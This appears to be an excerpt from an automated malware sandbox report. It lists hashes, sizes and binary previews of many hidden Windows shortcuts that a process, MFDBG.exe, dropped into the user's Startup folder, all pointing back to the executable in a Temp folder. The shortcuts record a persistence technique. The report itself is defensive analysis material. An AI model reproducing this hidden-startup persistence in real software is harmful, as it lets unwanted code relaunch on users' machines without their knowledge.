File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917122217307735
Encrypted:	false
SSDEEP:	24:8oBfMN8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mUaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	35AB0FD32F9B6BFEDC51F16D4EF46390
SHA1:	61770C3CC437E78519973580700C43A2D14DF036
SHA-256:	4CDCE13EE6F234256C955D038A1BA8ADDF7234CCAE87EFB23144F449894B28C7
SHA-512:	861E33DFC7479BA5BB27CA855B106F73908E451CCCC0BAC0B1DCEABA5C24DBD61E5E15F84F120CAE524621560F36D82F2BD4BD6BBD9018CB609A179685773F00
Malicious:	false
Preview:	L..................F....".......d...'k.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...'k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9704cab26de41c1882d6c676d07fc1d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925956751397836
Encrypted:	false
SSDEEP:	24:8d2BftAp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8d81FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	883EBCE26A8DB8C0D7ABD68A9CD6D11E
SHA1:	D0C75EB0439DBE1AF18C9E422C15FEA575EFE919
SHA-256:	2D4CA5A6F4E3C6B9E8A0086A4B36618F5D0CDC4C3A6A2CD5693885A2CA88681C
SHA-512:	A71D5A6FDDD45AE1D13481F0851267F65783DA3058545D9237DBE88240EAAFBC26CBA969BC783EC48901DC74821B48E10823CC8FE5D962628207842E94BBE7A8
Malicious:	false
Preview:	L..................F....".......d.....f.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...vF].d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e987592e22ec496890a6115a57cf5ea3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930158985133401
Encrypted:	false
SSDEEP:	24:8nBfEX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C26FEB7F4BB9A6F825B5F3B2B3CE93CD
SHA1:	1B19169A2E2C2BB6B2F334393005581F0915E085
SHA-256:	42B19D24F9B940913A08DCE36AE55EA07533F1E4142B6CE78C2310D1643B5979
SHA-512:	43FAD9BACB59E021114F580DEE463FADA0588E7CF6541A806B28E7C3CA22F5AE82BB182B39BBCD19608BFF4BC850FD2F9610685EE747EF91FE0708A56EF872F1
Malicious:	false
Preview:	L..................F....".......d...$.}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9e6408406dd44a08a651813062ac84f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925304557816814
Encrypted:	false
SSDEEP:	24:8zBfEX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81hEvZ0yRO7DLO2zdxdRd1kyg
MD5:	85F281990B3ABF0C26992EF8ED18F7A4
SHA1:	B4A92CC208FCAC2C11A4B46223D0F08553A0EA4C
SHA-256:	4E0539BFC5FC103333E18CF59F2957E9D527D4AF5C673EDEE76B8725F4761815
SHA-512:	C6A136F4EFC2BFB6127C9847A221848B8CFE79EDEE7E93D106B833A57652BA654B7017E29F0F9F633E0016DEE25A4316F8E0EDC76ECA2B1F96425D53BC556A09
Malicious:	false
Preview:	L..................F....".......d....}.}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea148e856ed84f7ba0b8469f6869aef1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922013511567024
Encrypted:	false
SSDEEP:	24:8VBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	886FD37BBA7B8A2FD7B974665860B4C2
SHA1:	F73EB65EE81A9059D96AB2359B08F171E56B560A
SHA-256:	BA64027839FC1CE5976FBBEA2514E65FC99C391DBCDB2C987BBF910516773B6E
SHA-512:	8CB4859D5A15C1B8210471E240ABF604E7DA1E772CCFDE3654D22161DA0A88E984731FCED9A36E3FE7A7B080BF22B85DF0CC454369BBDC1B7F3B0A5FC4669C4D
Malicious:	false
Preview:	L..................F....".......d...IP.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea4e562f13984711abebcc85a1fa94ab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920720180268028
Encrypted:	false
SSDEEP:	24:8UTBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MsEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8773564E7118A4694D7F35E710292646
SHA1:	EC1EA0F93B4C95B093ED414A13F729DA4206A7EE
SHA-256:	BF1B76E34FDDB192A143861E4A3E91C4E51B050A6C8245978C60B4865723073A
SHA-512:	A082AB4E8A91959EA37CB3F9D78B14738DECF5F16E9B96372D39AD63BB3A1DF78F250B1E72064A6B8B9264D955DB9D3ED84578BBED1063F0DBE7ECD419C7B328
Malicious:	false
Preview:	L..................F....".......d......<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eab9966ae3364a9a963d01d86690455e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9278401001591705
Encrypted:	false
SSDEEP:	24:8KBf28EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	576BA9EAB63CD3BD776AB253F18EE24F
SHA1:	CC856B308EF5FD716EC4F0A3FDBDF8D4F6E2500D
SHA-256:	E174AA0E44BCAC66965C2FF3572BB25685829C94ACB964F838BB3C4548F6EF01
SHA-512:	D0BCFFD8FBB44652A7AF65D97C4088907B5EAC53B2C8FABDA895BE017CD398A846DC1E4683E3D4E69479AA5244799A6F6D90849F5096B79568E2487E24A0B3D3
Malicious:	false
Preview:	L..................F....".......d..../._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eaeae7b9a8f84ea19391e81c78992e44.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921581595271277
Encrypted:	false
SSDEEP:	24:8gBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8uiEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C5F026764A9A5099B4D4A3B7B26F9BE0
SHA1:	CF6029E20E0B9F88B5AEE904B099BE7342EB0CB5
SHA-256:	ED8C513D037502EBE89E8153E8EB4FD4B9D949E8D211C35215D19F2BCE4A455F
SHA-512:	7663527B357222DF18EBAB932E2C0FA67CE224AB3F11F6537EF6627CE5F8E067CEBC6CF5ED30EFF364B5662C628101896A8840DD84E02BEF0BB9C425BD5AED6E
Malicious:	false
Preview:	L..................F....".......d...*.<^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...=\|"^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eaf56925889c45249bf06c94a3a60090.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925245865025159
Encrypted:	false
SSDEEP:	24:8VBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2F9CE9F4AFE85CE8DCE2D24CC8946B60
SHA1:	EB776ABDAA14B00138E516DC45DFDA12145DFB3B
SHA-256:	0F782B0BDF1F1C19718552676017028B8EAC15D70447C2671298701B32026F32
SHA-512:	9FDFFB4F4A83F91A778C3F567C78365A8836CBA7C4FF3C5FAF95ECFD6ADF23AEDD11981D801F9A1842E5A84F6C5707BC789E67C134F898F5C31A11A7DBEFD9AE
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eaf8294eda534b5697837c1c42337c62.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92143639964451
Encrypted:	false
SSDEEP:	24:85Bfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B889C407AEEF48D343458C2CA2062E45
SHA1:	014DF7AD805DFDDA35147B65F647FF56E8215BAF
SHA-256:	316564CA274119FDB17EE5D610B6488BCDE45BE40442617846CDB42D2951CAD3
SHA-512:	64DFC93037A2501067A1B95D151F49EE69C705085A0E7C6FE30E5140C5031ED12FAE230CA793CFF41968121C912D9A898C70E15D564AB7F74E06D9B4EED56453
Malicious:	false
Preview:	L..................F....".......d...F..&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eb2f704bae8c40aebb9fd2f6bbb0a21d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921780328741923
Encrypted:	false
SSDEEP:	24:83BBfMN8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rUaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EDA677BE56F5A98C82ADF55B922E37E6
SHA1:	26026630E9DD419BE2978887C82A52D7A7692E23
SHA-256:	E9ADCB65DEB1BF7876FB92684433A861C10FFE9BFFD08E2094561E4A9F9DA1B0
SHA-512:	9711034D5F17E20F8246EEC656BD4BCB54C5341236F2C76ECE8A41ACD9B237C1930F168AA183C69D29A22FFD9E89EFC0156C65007C3183852B3F38FADCC1E843
Malicious:	false
Preview:	L..................F....".......d...I...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...'k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ebcb7ccaf4ae4f749e0debcfc1342e9f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930034130992364
Encrypted:	false
SSDEEP:	24:8SBf28EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8AzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	88DF2E5577E226B9919433BF8ABCC9A7
SHA1:	4520F32F5F4F4C416242C8FDB287FD75D7259FCA
SHA-256:	B063A1E429CDECD2543C68AF950794A7E8BCEBE8ACDBE93DF5102BB38108EBD6
SHA-512:	D7B29318223EA1AE5E2FCC238EB429235A798C857DE2562FCB6DE15230D11E4E045B98971A774A2C229810DBFE45BDCDA7F1AFB229E01319F5A46EC2EA20EB30
Malicious:	false
Preview:	L..................F....".......d...[U._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ec78a119948441a38e8138183f3eef78.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.911872740638103
Encrypted:	false
SSDEEP:	24:85BfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8j5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	A7506F20AE0733D63602EF762915AD02
SHA1:	695E44612EDC39F3532E39CC6CA96D28D1F7BF14
SHA-256:	B09E6F58F64F043D6C02D78D1D7B65966E4C416FDA55E1EA235D1356517DD17F
SHA-512:	A46C5F3BDA2B72088BD2001FA2B1FDFE681A0FF90ECC019556319855018B89E4A59EFD79F87194B1B631AED179E59C686CFC9B4C7831F7CA647E7DAD700F0734
Malicious:	false
Preview:	L..................F....".......d....` Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ecf482d931484bf7a0ea7932ed8c7f42.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
